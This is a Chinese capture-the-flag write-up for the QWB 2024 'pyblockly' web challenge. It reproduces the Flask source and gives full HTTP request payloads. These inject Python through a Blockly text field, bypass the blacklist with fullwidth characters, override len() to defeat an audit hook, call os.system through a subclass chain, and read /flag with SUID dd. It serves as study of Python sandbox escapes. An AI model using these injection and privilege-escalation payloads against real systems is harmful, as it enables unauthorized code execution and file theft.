强网杯 2024 web pyblockly 单题wp

这次跟的wgpsec打。不给复现写不了wp,第一次打国内的比赛有点疏忽了。把pyblockly写详细点儿吧(pyblockly留了做题记录)

贴一下wgpsec的wp:https://mp.weixin.qq.com/s/NzZ-ZJlyCh2sk3vbNbswiw

WEB几乎AK了,tql师傅们

像这种PYjail接触的比较少,题目质量也很高,记录一下

下载附件,读

app.py

复制代码
    from flask import Flask, request, jsonify
    import re
    import unidecode
    import string
    import ast
    import sys
    import os
    import subprocess
    import importlib.util
    import json
    
    app = Flask(__name__)
    app.config['JSON_AS_ASCII'] = False
    
    blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
    
    def module_exists(module_name):
    
        spec = importlib.util.find_spec(module_name)
        if spec is None:
            return False
    
        if module_name in sys.builtin_module_names:
            return True
        
        if spec.origin:
            std_lib_path = os.path.dirname(os.__file__)
            
            if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
                return True
        return False
    
    def verify_secure(m):
        for node in ast.walk(m):
            match type(node):
                case ast.Import:  
                    print("ERROR: Banned module ")
                    return False
                case ast.ImportFrom: 
                    print(f"ERROR: Banned module {node.module}")
                    return False
        return True
    
    def check_for_blacklisted_symbols(input_text):
        if re.search(blacklist_pattern, input_text):
            return True
        else:
            return False


​    
​    
    def block_to_python(block):
        block_type = block['type']
        code = ''
        
        if block_type == 'print':
            text_block = block['inputs']['TEXT']['block']
            text = block_to_python(text_block)  
            code = f"print({text})"
               
        elif block_type == 'math_number':
            
            if str(block['fields']['NUM']).isdigit():      
                code =  int(block['fields']['NUM']) 
            else:
                code = ''
        elif block_type == 'text':
            if check_for_blacklisted_symbols(block['fields']['TEXT']):
                code = ''
            else:
            
                code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
        elif block_type == 'max':
            
            a_block = block['inputs']['A']['block']
            b_block = block['inputs']['B']['block']
            a = block_to_python(a_block)  
            b = block_to_python(b_block)
            code =  f"max({a}, {b})"
    
        elif block_type == 'min':
            a_block = block['inputs']['A']['block']
            b_block = block['inputs']['B']['block']
            a = block_to_python(a_block)
            b = block_to_python(b_block)
            code =  f"min({a}, {b})"
    
        if 'next' in block:
            
            block = block['next']['block']
            
            code +="\n" + block_to_python(block)+ "\n"
        else:
            return code 
        return code
    
    def json_to_python(blockly_data):
        block = blockly_data['blocks']['blocks'][0]
    
        python_code = ""
        python_code += block_to_python(block) + "\n"


​            
        return python_code
    
    def do(source_code):
        hook_code = '''
    def my_audit_hook(event_name, arg):
        blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
        if len(event_name) > 4:
            raise RuntimeError("Too Long!")
        for bad in blacklist:
            if bad in event_name:
                raise RuntimeError("No!")
    
    __import__('sys').addaudithook(my_audit_hook)
    
    '''
        print(source_code)
        code = hook_code + source_code
        tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
        try:
            if verify_secure(tree):  
                with open("run.py", 'w') as f:
                    f.write(code)        
                result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
                os.remove('run.py')
                return result
            else:
                return "Execution aborted due to security concerns."
        except:
            os.remove('run.py')
            return "Timeout!"
    
    @app.route('/')
    def index():
        return app.send_static_file('index.html')
    
    @app.route('/blockly_json', methods=['POST'])
    def blockly_json():
        blockly_data = request.get_data()
        print(type(blockly_data))
        blockly_data = json.loads(blockly_data.decode('utf-8'))
        print(blockly_data)
        try:
            python_code = json_to_python(blockly_data)
            return do(python_code)
        except Exception as e:
            return jsonify({"error": "Error generating Python code", "details": str(e)})
        
    if __name__ == '__main__':
        app.run(host = '0.0.0.0')

web1是很复杂的题目呢。然而其实大部分代码都没啥用,我们的思路也很明显------------通过block传递恶意代码执行。

出题人煞费苦心给题目套了一个很复杂的包装。其实对我们的攻击没多大影响。这里使用json_to_python来提取输入中的blocks,再在block_to_python中对每一个blocks进行分类(如print,max,min)再写入一个python文件中执行。

首先在block_to_python中随便一个功能(比如说print吧),最后都是直接使用字符串拼接的方式将输入拼到代码里。这里很容易想到用')闭合print('')并在后面用;\n加入代码的RCE手段(要注释掉后面的'))。进一步可以看到print模式要获取一个TEXT,可以直接将输入经过一次unidecode.unidecode后拼入print中执行。而TEXT要经过一个检测,这里因为是先进行检测后unidecode.unidecode。所以可以用全角字符进行绕过(全角字符在unidecode.unidecode后变为半角字符)

搓出payload如下

复制代码
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
                  "fields": {
                    "TEXT": "s"')\nprint(open("/etc/passwd", "r").read())\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }

可得到文件回显

这里只能读取文件,没有读取/flag的权限。考虑到RCE+提权的方式。可以看到在将用户的输入拼入py文件时添加了一个hook函数中,对event_name长度进行了限制。并且加入限制event_name了一个黑名单。

复制代码
    def my_audit_hook(event_name, arg):
        # print(f"[+]{event_name},{arg}")
        blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
        if len(event_name) > 4:
            raise RuntimeError("Too Long!")
        for bad in blacklist:
            if bad in event_name:
                raise RuntimeError("No!")

对event_name不熟悉的师傅可以看看https://peps.python.org/pep-0578/

看到所有的event_name里,只有open和exec满足长度小于等于4,而exec又在黑名单里。

于是考虑绕过长度检测,这里可以使用重写len函数的方式,使其永远返回3。

复制代码
    __builtins__.len = lambda x: 3

随后我们搓个POC:

复制代码
    POST /blockly_json HTTP/1.1
    Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
    Content-Length: 473
    Accept: */*
    X-Requested-With: XMLHttpRequest
    Accept-Language: zh-CN,zh;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
    Content-Type: application/json
    Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
    Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
     "fields": {
                    "TEXT": "s"')\n__builtins__.len = lambda x: 3\nprint(len("asdbb"))\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }

可以看到返回3

WIN!摆脱了长度的限制之后,就只剩下一个可有可无的黑名单了

限制了exec,我们就用os.system。照抄SSTIpayload即可

复制代码
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

可以执行任意命令。接下来看SUID文件。发现DD可以越权读取

DD读取,转全角字符,拿flag

复制代码
    POST /blockly_json HTTP/1.1
    Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
    Content-Length: 473
    Accept: */*
    X-Requested-With: XMLHttpRequest
    Accept-Language: zh-CN,zh;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
    Content-Type: application/json
    Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
    Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
     "fields": {
                    "TEXT": "s"')\n__builtins__.len = lambda x: 3\n[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("dd if=/flag")\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }


**flag{7cla4fe8981e295a78508a49146340b9}**
相关推荐
黎阳之光17 小时前
黎阳之光:以视频孪生领跑全球,赋能数字孪生水利智能监测新征程
大数据·人工智能·算法·安全·数字孪生
千枫s17 小时前
kali 免杀木马
网络安全
qq_2602412317 小时前
将盾CDN:网络安全态势感知的建设与实践
安全·web安全
一袋米扛几楼9818 小时前
【网络安全】Splunk 是什么?
安全·web安全
一袋米扛几楼9818 小时前
【网络安全】SIEM -Security Information and Event Management 工具是什么?
前端·安全·web安全
AI_Claude_code18 小时前
ZLibrary访问困境方案三:Web代理与轻量级转发服务的搭建与优化
爬虫·python·web安全·搜索引擎·网络安全·web3·httpx
上海云盾-小余19 小时前
DDoS 攻击全解析:常见类型识别与分层防御思路
网络协议·tcp/ip·安全·ddos
www43919 小时前
Vulinbox(敏感信息与敏感文件泄露)
安全
乾元19 小时前
《硅基之盾》番外篇二:算力底座的暗战——智算中心 VXLAN/EVPN 架构下的多租户隔离与防御
网络·人工智能·网络安全·架构
智擎软件测评小祺19 小时前
渗透测试报告关键模块拆解
网络·web安全·渗透测试·测试·检测·cma·cnas